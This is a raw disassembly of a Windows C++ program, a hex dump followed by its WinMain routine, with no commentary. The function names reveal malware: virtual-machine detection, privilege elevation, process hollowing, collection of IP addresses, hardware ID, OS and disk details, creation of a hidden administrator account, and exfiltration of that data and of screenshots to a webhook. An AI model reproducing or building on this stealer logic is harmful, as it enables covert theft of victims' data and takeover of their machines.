14000c020 85 20 07 00 00 48 89 c1 e8 a3 54 0d 00 eb 03 48 . ...H....T....H
14000c030 89 c3 48 8d 85 40 07 00 00 48 89 c1 e8 8f 54 0d ..H..@...H....T.
14000c040 00 eb 03 48 89 c3 48 8d 85 90 07 00 00 48 89 c1 ...H..H......H..
14000c050 e8 7b 54 0d 00 eb 03 48 89 c3 48 8d 85 b0 07 00 .{T....H..H.....
14000c060 00 48 89 c1 e8 67 54 0d 00 eb 03 48 89 c3 48 8d .H...gT....H..H.
14000c070 85 60 07 00 00 48 89 c1 e8 53 54 0d 00 eb 03 48 .`...H...ST....H
14000c080 89 c3 48 8d 85 8f 07 00 00 48 89 c1 e8 3f 1d 0c ..H......H...?..
14000c090 00 90 e9 79 05 00 00 48 89 c3 48 8d 85 00 08 00 ...y...H..H.....
14000c0a0 00 48 89 c1 e8 27 54 0d 00 eb 03 48 89 c3 48 8d .H...'T....H..H.
14000c0b0 85 2f 08 00 00 48 89 c1 e8 13 1d 0c 00 90 48 8d ./...H........H.
14000c0c0 85 d0 07 00 00 48 89 c1 e8 03 54 0d 00 eb 03 48 .....H....T....H
14000c0d0 89 c3 48 8d 85 ff 07 00 00 48 89 c1 e8 ef 1c 0c ..H......H......
14000c0e0 00 90 e9 06 05 00 00 48 89 c3 48 8d 85 60 08 00 .......H..H..`..
14000c0f0 00 48 89 c1 e8 d7 53 0d 00 eb 03 48 89 c3 48 8d .H....S....H..H.
14000c100 85 8e 08 00 00 48 89 c1 e8 c3 1c 0c 00 90 48 8d .....H........H.
14000c110 85 30 08 00 00 48 89 c1 e8 b3 53 0d 00 eb 03 48 .0...H....S....H
14000c120 89 c3 48 8d 85 5f 08 00 00 48 89 c1 e8 9f 1c 0c ..H.._...H......
14000c130 00 90 e9 b6 04 00 00 48 89 c3 48 8d 85 8f 08 00 .......H..H.....
14000c140 00 48 89 c1 e8 87 1c 0c 00 90 e9 8a 04 00 00 48 .H.............H
14000c150 89 c3 48 8d 85 90 08 00 00 48 89 c1 e8 3f d4 09 ..H......H...?..
14000c160 00 e9 50 04 00 00 48 89 c3 48 8d 85 f0 08 00 00 ..P...H..H......
14000c170 48 89 c1 e8 58 53 0d 00 eb 03 48 89 c3 48 8d 85 H...XS....H..H..
14000c180 1f 09 00 00 48 89 c1 e8 44 1c 0c 00 90 48 8d 85 ....H...D....H..
14000c190 c0 08 00 00 48 89 c1 e8 34 53 0d 00 eb 03 48 89 ....H...4S....H.
14000c1a0 c3 48 8d 85 ef 08 00 00 48 89 c1 e8 20 1c 0c 00 .H......H... ...
14000c1b0 90 e9 00 04 00 00 48 89 c3 48 8d 85 50 09 00 00 ......H..H..P...
14000c1c0 48 89 c1 e8 08 53 0d 00 eb 03 48 89 c3 48 8d 85 H....S....H..H..
14000c1d0 7f 09 00 00 48 89 c1 e8 f4 1b 0c 00 90 48 8d 85 ....H........H..
14000c1e0 20 09 00 00 48 89 c1 e8 e4 52 0d 00 eb 03 48 89 ...H....R....H.
14000c1f0 c3 48 8d 85 4f 09 00 00 48 89 c1 e8 d0 1b 0c 00 .H..O...H.......
14000c200 90 e9 b0 03 00 00 48 89 c3 48 8d 85 d0 09 00 00 ......H..H......
14000c210 48 89 c1 e8 b8 52 0d 00 eb 03 48 89 c3 48 8d 85 H....R....H..H..
14000c220 ff 09 00 00 48 89 c1 e8 a4 1b 0c 00 90 48 8d 85 ....H........H..
14000c230 a0 09 00 00 48 89 c1 e8 94 52 0d 00 eb 03 48 89 ....H....R....H.
14000c240 c3 48 8d 85 cf 09 00 00 48 89 c1 e8 80 1b 0c 00 .H......H.......
14000c250 90 e9 60 03 00 00 48 89 c3 48 8d 85 00 0a 00 00 ..`...H..H......
14000c260 48 89 c1 e8 68 52 0d 00 e9 49 03 00 00 48 89 c3 H...hR...I...H..
14000c270 48 8d 85 50 0a 00 00 48 89 c1 e8 51 52 0d 00 eb H..P...H...QR...
14000c280 03 48 89 c3 48 8d 85 7f 0a 00 00 48 89 c1 e8 3d .H..H......H...=
14000c290 1b 0c 00 90 48 8d 85 20 0a 00 00 48 89 c1 e8 2d ....H.. ...H...-
14000c2a0 52 0d 00 eb 03 48 89 c3 48 8d 85 4f 0a 00 00 48 R....H..H..O...H
14000c2b0 89 c1 e8 19 1b 0c 00 90 e9 f9 02 00 00 48 89 c3 .............H..
14000c2c0 48 8d 85 b0 0a 00 00 48 89 c1 e8 01 52 0d 00 eb H......H....R...
14000c2d0 03 48 89 c3 48 8d 85 d0 0a 00 00 48 89 c1 e8 ed .H..H......H....
14000c2e0 51 0d 00 eb 03 48 89 c3 48 8d 85 ff 0a 00 00 48 Q....H..H......H
14000c2f0 89 c1 e8 d9 1a 0c 00 90 48 8d 85 80 0a 00 00 48 ........H......H
14000c300 89 c1 e8 c9 51 0d 00 eb 03 48 89 c3 48 8d 85 af ....Q....H..H...
14000c310 0a 00 00 48 89 c1 e8 b5 1a 0c 00 90 e9 95 02 00 ...H............
14000c320 00 48 89 c3 48 8d 85 00 0b 00 00 48 89 c1 e8 6d .H..H......H...m
14000c330 d2 09 00 e9 7e 02 00 00 48 89 c3 48 8d 85 60 0b ....~...H..H..`.
14000c340 00 00 48 89 c1 e8 86 51 0d 00 eb 03 48 89 c3 48 ..H....Q....H..H
14000c350 8d 85 8f 0b 00 00 48 89 c1 e8 72 1a 0c 00 90 48 ......H...r....H
14000c360 8d 85 30 0b 00 00 48 89 c1 e8 62 51 0d 00 eb 03 ..0...H...bQ....
14000c370 48 89 c3 48 8d 85 5f 0b 00 00 48 89 c1 e8 4e 1a H..H.._...H...N.
14000c380 0c 00 90 e9 2e 02 00 00 48 89 c3 48 8d 85 90 0b ........H..H....
14000c390 00 00 48 89 c1 e8 06 d2 09 00 e9 17 02 00 00 48 ..H............H
14000c3a0 89 c3 48 8d 85 f0 0b 00 00 48 89 c1 e8 1f 51 0d ..H......H....Q.
14000c3b0 00 eb 03 48 89 c3 48 8d 85 10 0c 00 00 48 89 c1 ...H..H......H..
14000c3c0 e8 0b 51 0d 00 eb 03 48 89 c3 48 8d 85 30 0c 00 ..Q....H..H..0..
14000c3d0 00 48 89 c1 e8 f7 50 0d 00 48 8d 85 c0 0b 00 00 .H....P..H......
14000c3e0 48 89 c1 e8 e8 50 0d 00 eb 03 48 89 c3 48 8d 85 H....P....H..H..
14000c3f0 ef 0b 00 00 48 89 c1 e8 d4 19 0c 00 90 e9 b4 01 ....H...........
14000c400 00 00 48 89 c3 48 8d 85 80 0c 00 00 48 89 c1 e8 ..H..H......H...
14000c410 bc 50 0d 00 eb 03 48 89 c3 48 8d 85 af 0c 00 00 .P....H..H......
14000c420 48 89 c1 e8 a8 19 0c 00 90 48 8d 85 50 0c 00 00 H........H..P...
14000c430 48 89 c1 e8 98 50 0d 00 eb 03 48 89 c3 48 8d 85 H....P....H..H..
14000c440 7f 0c 00 00 48 89 c1 e8 84 19 0c 00 90 eb 03 48 ....H..........H
14000c450 89 c3 48 8d 85 d0 00 00 00 48 89 c1 e8 9f f8 0c ..H......H......
14000c460 00 e9 50 01 00 00 48 89 c3 48 8d 85 e0 0c 00 00 ..P...H..H......
14000c470 48 89 c1 e8 58 50 0d 00 eb 03 48 89 c3 48 8d 85 H...XP....H..H..
14000c480 0f 0d 00 00 48 89 c1 e8 44 19 0c 00 90 48 8d 85 ....H...D....H..
14000c490 b0 0c 00 00 48 89 c1 e8 34 50 0d 00 eb 03 48 89 ....H...4P....H.
14000c4a0 c3 48 8d 85 df 0c 00 00 48 89 c1 e8 20 19 0c 00 .H......H... ...
14000c4b0 90 e9 00 01 00 00 48 89 c3 48 8d 85 10 0d 00 00 ......H..H......
14000c4c0 48 89 c1 e8 08 50 0d 00 eb 03 48 89 c3 48 8d 85 H....P....H..H..
14000c4d0 50 0d 00 00 48 89 c1 e8 f4 4f 0d 00 eb 03 48 89 P...H....O....H.
14000c4e0 c3 48 8d 85 70 0d 00 00 48 89 c1 e8 e0 4f 0d 00 .H..p...H....O..
14000c4f0 eb 03 48 89 c3 48 8d 85 c0 0d 00 00 48 89 c1 e8 ..H..H......H...
14000c500 cc 4f 0d 00 eb 03 48 89 c3 48 8d 85 e0 0d 00 00 .O....H..H......
14000c510 48 89 c1 e8 b8 4f 0d 00 eb 03 48 89 c3 48 8d 85 H....O....H..H..
14000c520 90 0d 00 00 48 89 c1 e8 a4 4f 0d 00 eb 03 48 89 ....H....O....H.
14000c530 c3 48 8d 85 bf 0d 00 00 48 89 c1 e8 90 18 0c 00 .H......H.......
14000c540 90 48 8d 85 30 0d 00 00 48 89 c1 e8 80 4f 0d 00 .H..0...H....O..
14000c550 eb 64 48 89 c3 48 8d 85 50 0e 00 00 48 89 c1 e8 .dH..H..P...H...
14000c560 6c 4f 0d 00 eb 03 48 89 c3 48 8d 85 7f 0e 00 00 lO....H..H......
14000c570 48 89 c1 e8 58 18 0c 00 90 48 8d 85 20 0e 00 00 H...X....H.. ...
14000c580 48 89 c1 e8 48 4f 0d 00 eb 03 48 89 c3 48 8d 85 H...HO....H..H..
14000c590 4f 0e 00 00 48 89 c1 e8 34 18 0c 00 90 eb 03 48 O...H...4......H
14000c5a0 89 c3 48 8d 85 f0 00 00 00 48 89 c1 e8 1f 4f 0d ..H......H....O.
14000c5b0 00 eb 03 48 89 c3 48 8d 85 20 01 00 00 48 89 c1 ...H..H.. ...H..
14000c5c0 e8 db f5 0b 00 eb 03 48 89 c3 48 8d 85 f0 02 00 .......H..H.....
14000c5d0 00 48 89 c1 e8 f7 4e 0d 00 48 8d 85 10 03 00 00 .H....N..H......
14000c5e0 48 89 c1 e8 e8 4e 0d 00 eb 03 48 89 c3 48 8d 85 H....N....H..H..
14000c5f0 30 03 00 00 48 89 c1 e8 d4 4e 0d 00 eb 03 48 89 0...H....N....H.
14000c600 c3 48 8d 85 50 03 00 00 48 89 c1 e8 c0 4e 0d 00 .H..P...H....N..
14000c610 48 8d 85 70 03 00 00 48 89 c1 e8 b1 4e 0d 00 eb H..p...H....N...
14000c620 03 48 89 c3 48 8d 85 90 03 00 00 48 89 c1 e8 9d .H..H......H....
14000c630 4e 0d 00 eb 03 48 89 c3 48 8d 85 b0 03 00 00 48 N....H..H......H
14000c640 89 c1 e8 89 4e 0d 00 eb 03 48 89 c3 48 8d 85 d0 ....N....H..H...
14000c650 03 00 00 48 89 c1 e8 75 4e 0d 00 eb 03 48 89 c3 ...H...uN....H..
14000c660 48 8d 85 f0 03 00 00 48 89 c1 e8 61 4e 0d 00 eb H......H...aN...
14000c670 03 48 89 c3 48 8d 85 10 04 00 00 48 89 c1 e8 4d .H..H......H...M
14000c680 4e 0d 00 eb 03 48 89 c3 48 8d 85 30 04 00 00 48 N....H..H..0...H
14000c690 89 c1 e8 39 4e 0d 00 48 89 d8 48 89 c1 e8 fe ec ...9N..H..H.....
14000c6a0 00 00 ..
14000c6a2
14000c6a2loc_14000c6a2:
14000c6a2add rsp, 4168
14000c6a9pop rbx
14000c6aapop rbp
14000c6abret
14000a6dd
14000a6ddWinMain:
14000a6ddpush rbp
14000a6depush rbx
14000a6dfmov eax, 4168
14000a6e4call ___chkstk_ms
14000a6e9sub rsp, rax
14000a6eclea rbp, [rsp+128]
14000a6f4mov [rbp+4064], rcx
14000a6fbmov [rbp+4072], rdx
14000a702mov [rbp+4080], r8
14000a709mov [rbp+4088], r9l
14000a710mov rax, [rip+0x1bf599]
14000a717call rax
14000a719test eax, eax
14000a71bsetne al
14000a71etest al, al
14000a720je 0x14000a7e4
14000a726lea rax, [rbp+1231]
14000a72dmov [rbp+3984], rax
14000a734nop
14000a735nop
14000a736lea rcx, [rbp+1231]
14000a73dlea rdx, [rip+0xfcaa5]
14000a744lea rax, [rbp+1184]
14000a74bmov r8, rcx
14000a74emov rcx, rax
14000a751call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a756lea rax, [rbp+1279]
14000a75dmov [rbp+3976], rax
14000a764nop
14000a765nop
14000a766lea rcx, [rbp+1279]
14000a76dlea rdx, [rip+0xfdd94]
14000a774lea rax, [rbp+1232]
14000a77bmov r8, rcx
14000a77emov rcx, rax
14000a781call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a786lea rdx, [rbp+1184]
14000a78dlea rax, [rbp+1232]
14000a794mov rcx, rax
14000a797call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000a79clea rax, [rbp+1232]
14000a7a3mov rcx, rax
14000a7a6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a7ablea rax, [rbp+1279]
14000a7b2mov rcx, rax
14000a7b5call std::__new_allocator<char>::~__new_allocator()
14000a7banop
14000a7bblea rax, [rbp+1184]
14000a7c2mov rcx, rax
14000a7c5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a7calea rax, [rbp+1231]
14000a7d1mov rcx, rax
14000a7d4call std::__new_allocator<char>::~__new_allocator()
14000a7d9nop
14000a7damov ebx, 0
14000a7dfjmp 0x14000be18
14000a7e4
14000a7e4loc_14000a7e4:
14000a7e4call check_vm()
14000a7e9test al, al
14000a7ebje 0x14000a8af
14000a7f1lea rax, [rbp+1327]
14000a7f8mov [rbp+3968], rax
14000a7ffnop
14000a800nop
14000a801lea rcx, [rbp+1327]
14000a808lea rdx, [rip+0xfc9da]
14000a80flea rax, [rbp+1280]
14000a816mov r8, rcx
14000a819mov rcx, rax
14000a81ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a821lea rax, [rbp+1375]
14000a828mov [rbp+3960], rax
14000a82fnop
14000a830nop
14000a831lea rcx, [rbp+1375]
14000a838lea rdx, [rip+0xfdce8]
14000a83flea rax, [rbp+1328]
14000a846mov r8, rcx
14000a849mov rcx, rax
14000a84ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a851lea rdx, [rbp+1280]
14000a858lea rax, [rbp+1328]
14000a85fmov rcx, rax
14000a862call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000a867lea rax, [rbp+1328]
14000a86emov rcx, rax
14000a871call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a876lea rax, [rbp+1375]
14000a87dmov rcx, rax
14000a880call std::__new_allocator<char>::~__new_allocator()
14000a885nop
14000a886lea rax, [rbp+1280]
14000a88dmov rcx, rax
14000a890call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a895lea rax, [rbp+1327]
14000a89cmov rcx, rax
14000a89fcall std::__new_allocator<char>::~__new_allocator()
14000a8a4nop
14000a8a5mov ebx, 0
14000a8aajmp 0x14000be18
14000a8af
14000a8afloc_14000a8af:
14000a8aflea rax, [rip+0xfdc92]
14000a8b6mov r8, rax
14000a8b9mov edx, 1
14000a8bemov ecx, 0
14000a8c3mov rax, [rip+0x1bf2ee]
14000a8cacall rax
14000a8ccmov [rbp+4016], rax
14000a8d3mov rax, [rip+0x1bf376]
14000a8dacall rax
14000a8dccmp eax, 183
14000a8e1sete al
14000a8e4test al, al
14000a8e6je 0x14000a9bd
14000a8ecmov rax, [rbp+4016]
14000a8f3mov rcx, rax
14000a8f6mov rax, [rip+0x1bf2a3]
14000a8fdcall rax
14000a8fflea rax, [rbp+1423]
14000a906mov [rbp+3952], rax
14000a90dnop
14000a90enop
14000a90flea rcx, [rbp+1423]
14000a916lea rdx, [rip+0xfc8cc]
14000a91dlea rax, [rbp+1376]
14000a924mov r8, rcx
14000a927mov rcx, rax
14000a92acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a92flea rax, [rbp+1470]
14000a936mov [rbp+3944], rax
14000a93dnop
14000a93enop
14000a93flea rcx, [rbp+1470]
14000a946lea rdx, [rip+0xfdc2b]
14000a94dlea rax, [rbp+1424]
14000a954mov r8, rcx
14000a957mov rcx, rax
14000a95acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000a95flea rdx, [rbp+1376]
14000a966lea rax, [rbp+1424]
14000a96dmov rcx, rax
14000a970call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000a975lea rax, [rbp+1424]
14000a97cmov rcx, rax
14000a97fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a984lea rax, [rbp+1470]
14000a98bmov rcx, rax
14000a98ecall std::__new_allocator<char>::~__new_allocator()
14000a993nop
14000a994lea rax, [rbp+1376]
14000a99bmov rcx, rax
14000a99ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000a9a3lea rax, [rbp+1423]
14000a9aamov rcx, rax
14000a9adcall std::__new_allocator<char>::~__new_allocator()
14000a9b2nop
14000a9b3mov ebx, 0
14000a9b8jmp 0x14000be18
14000a9bd
14000a9bdloc_14000a9bd:
14000a9bdcall elevate_privileges()
14000a9c2call perform_hollowing()
14000a9c7mov ecx, 3
14000a9ccmov rax, [rip+0x1bf0e5]
14000a9d3call rax
14000a9d5lea rax, [rbp+1152]
14000a9dcmov r9l, 0
14000a9e2mov r8l, 0
14000a9e8mov edx, 0
14000a9edmov rcx, rax
14000a9f0call Gdiplus::GdiplusStartupInput::GdiplusStartupInput(void*, int, int)
14000a9f5lea rdx, [rbp+1152]
14000a9fclea rax, [rbp+1144]
14000aa03mov r8l, 0
14000aa09mov rcx, rax
14000aa0ccall GdiplusStartup
14000aa11mov [rbp+1116], 16
14000aa1blea rdx, [rbp+1116]
14000aa22lea rax, [rbp+1120]
14000aa29mov rcx, rax
14000aa2cmov rax, [rip+0x1bf1d5]
14000aa33call rax
14000aa35lea rax, [rbp+1471]
14000aa3cmov [rbp+3936], rax
14000aa43nop
14000aa44nop
14000aa45lea rax, [rip+0xfdb65]
14000aa4cmov rcx, rax
14000aa4fcall getenv
14000aa54mov rdx, rax
14000aa57lea rcx, [rbp+1471]
14000aa5elea rax, [rbp+1072]
14000aa65mov r8, rcx
14000aa68mov rcx, rax
14000aa6bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000aa70lea rax, [rbp+1471]
14000aa77mov rcx, rax
14000aa7acall std::__new_allocator<char>::~__new_allocator()
14000aa7fnop
14000aa80lea rax, [rbp+1040]
14000aa87mov rcx, rax
14000aa8acall get_local_ip[abi:cxx11]()
14000aa8flea rax, [rbp+1008]
14000aa96mov rcx, rax
14000aa99call get_public_ip[abi:cxx11]()
14000aa9elea rax, [rbp+976]
14000aaa5mov rcx, rax
14000aaa8call get_os_version[abi:cxx11]()
14000aaadlea rax, [rbp+944]
14000aab4mov rcx, rax
14000aab7call get_hwid[abi:cxx11]()
14000aabclea rax, [rbp+912]
14000aac3mov rcx, rax
14000aac6call get_disk_info[abi:cxx11]()
14000aacblea rax, [rbp+880]
14000aad2mov rcx, rax
14000aad5call create_new_admin_user[abi:cxx11]()
14000aadalea rax, [rbp+1935]
14000aae1mov [rbp+3928], rax
14000aae8nop
14000aae9nop
14000aaealea rcx, [rbp+1935]
14000aaf1lea rdx, [rbp+1120]
14000aaf8lea rax, [rbp+1888]
14000aaffmov r8, rcx
14000ab02mov rcx, rax
14000ab05call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000ab0alea rax, [rbp+1968]
14000ab11lea rcx, [rbp+1072]
14000ab18lea rdx, [rip+0xfdaa1]
14000ab1fmov r8, rcx
14000ab22mov rcx, rax
14000ab25call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
14000ab2alea rax, [rbp+1936]
14000ab31lea rcx, [rip+0xfdb70]
14000ab38lea rdx, [rbp+1968]
14000ab3fmov r8, rcx
14000ab42mov rcx, rax
14000ab45call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ab4alea rax, [rbp+1856]
14000ab51lea rcx, [rbp+1888]
14000ab58lea rdx, [rbp+1936]
14000ab5fmov r8, rcx
14000ab62mov rcx, rax
14000ab65call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
14000ab6alea rax, [rbp+1824]
14000ab71lea rcx, [rip+0xfdb70]
14000ab78lea rdx, [rbp+1856]
14000ab7fmov r8, rcx
14000ab82mov rcx, rax
14000ab85call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ab8alea rax, [rbp+1792]
14000ab91lea rcx, [rbp+1040]
14000ab98lea rdx, [rbp+1824]
14000ab9fmov r8, rcx
14000aba2mov rcx, rax
14000aba5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000abaalea rax, [rbp+1760]
14000abb1lea rcx, [rip+0xfdb68]
14000abb8lea rdx, [rbp+1792]
14000abbfmov r8, rcx
14000abc2mov rcx, rax
14000abc5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000abcalea rax, [rbp+1728]
14000abd1lea rcx, [rbp+1008]
14000abd8lea rdx, [rbp+1760]
14000abdfmov r8, rcx
14000abe2mov rcx, rax
14000abe5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000abealea rax, [rbp+1696]
14000abf1lea rcx, [rip+0xfdb60]
14000abf8lea rdx, [rbp+1728]
14000abffmov r8, rcx
14000ac02mov rcx, rax
14000ac05call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ac0alea rax, [rbp+1664]
14000ac11lea rcx, [rbp+976]
14000ac18lea rdx, [rbp+1696]
14000ac1fmov r8, rcx
14000ac22mov rcx, rax
14000ac25call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000ac2alea rax, [rbp+1632]
14000ac31lea rcx, [rip+0xfdb58]
14000ac38lea rdx, [rbp+1664]
14000ac3fmov r8, rcx
14000ac42mov rcx, rax
14000ac45call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ac4alea rax, [rbp+1600]
14000ac51lea rcx, [rbp+944]
14000ac58lea rdx, [rbp+1632]
14000ac5fmov r8, rcx
14000ac62mov rcx, rax
14000ac65call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000ac6alea rax, [rbp+1568]
14000ac71lea rcx, [rip+0xfdb58]
14000ac78lea rdx, [rbp+1600]
14000ac7fmov r8, rcx
14000ac82mov rcx, rax
14000ac85call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ac8alea rax, [rbp+1536]
14000ac91lea rcx, [rbp+912]
14000ac98lea rdx, [rbp+1568]
14000ac9fmov r8, rcx
14000aca2mov rcx, rax
14000aca5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000acaalea rax, [rbp+1504]
14000acb1lea rcx, [rip+0xfdb50]
14000acb8lea rdx, [rbp+1536]
14000acbfmov r8, rcx
14000acc2mov rcx, rax
14000acc5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000accalea rax, [rbp+1472]
14000acd1lea rcx, [rbp+880]
14000acd8lea rdx, [rbp+1504]
14000acdfmov r8, rcx
14000ace2mov rcx, rax
14000ace5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
14000acealea rax, [rbp+848]
14000acf1lea rcx, [rip+0xfdb50]
14000acf8lea rdx, [rbp+1472]
14000acffmov r8, rcx
14000ad02mov rcx, rax
14000ad05call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000ad0alea rax, [rbp+1472]
14000ad11mov rcx, rax
14000ad14call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad19lea rax, [rbp+1504]
14000ad20mov rcx, rax
14000ad23call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad28lea rax, [rbp+1536]
14000ad2fmov rcx, rax
14000ad32call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad37lea rax, [rbp+1568]
14000ad3emov rcx, rax
14000ad41call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad46lea rax, [rbp+1600]
14000ad4dmov rcx, rax
14000ad50call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad55lea rax, [rbp+1632]
14000ad5cmov rcx, rax
14000ad5fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad64lea rax, [rbp+1664]
14000ad6bmov rcx, rax
14000ad6ecall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad73lea rax, [rbp+1696]
14000ad7amov rcx, rax
14000ad7dcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad82lea rax, [rbp+1728]
14000ad89mov rcx, rax
14000ad8ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ad91lea rax, [rbp+1760]
14000ad98mov rcx, rax
14000ad9bcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000ada0lea rax, [rbp+1792]
14000ada7mov rcx, rax
14000adaacall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000adaflea rax, [rbp+1824]
14000adb6mov rcx, rax
14000adb9call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000adbelea rax, [rbp+1856]
14000adc5mov rcx, rax
14000adc8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000adcdlea rax, [rbp+1936]
14000add4mov rcx, rax
14000add7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000addclea rax, [rbp+1968]
14000ade3mov rcx, rax
14000ade6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000adeblea rax, [rbp+1888]
14000adf2mov rcx, rax
14000adf5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000adfalea rax, [rbp+1935]
14000ae01mov rcx, rax
14000ae04call std::__new_allocator<char>::~__new_allocator()
14000ae09nop
14000ae0alea rax, [rbp+848]
14000ae11lea rcx, [rip+0x1bd288]
14000ae18mov rdx, rax
14000ae1bcall send_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000ae20lea rax, [rbp+816]
14000ae27mov rcx, rax
14000ae2acall take_screenshot_to_file[abi:cxx11]()
14000ae2flea rax, [rbp+816]
14000ae36mov rcx, rax
14000ae39call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
14000ae3exor eax, 1
14000ae41test al, al
14000ae43je 0x14000af15
14000ae49lea rax, [rbp+2047]
14000ae50mov [rbp+3920], rax
14000ae57nop
14000ae58nop
14000ae59lea rcx, [rbp+2047]
14000ae60lea rdx, [rip+0xfda45]
14000ae67lea rax, [rbp+2000]
14000ae6emov r8, rcx
14000ae71mov rcx, rax
14000ae74call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000ae79lea rax, [rbp+2095]
14000ae80mov [rbp+3912], rax
14000ae87nop
14000ae88nop
14000ae89lea rcx, [rbp+2095]
14000ae90lea rdx, [rip+0xfda1a]
14000ae97lea rax, [rbp+2048]
14000ae9emov r8, rcx
14000aea1mov rcx, rax
14000aea4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
14000aea9lea r8, [rbp+2000]
14000aeb0lea rdx, [rbp+2048]
14000aeb7lea rax, [rbp+816]
14000aebelea rcx, [rip+0x1bd1db]
14000aec5mov r9, r8
14000aec8mov r8, rdx
14000aecbmov rdx, rax
14000aececall upload_file_to_webhook(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
14000aed3lea rax, [rbp+2048]
14000aedamov rcx, rax
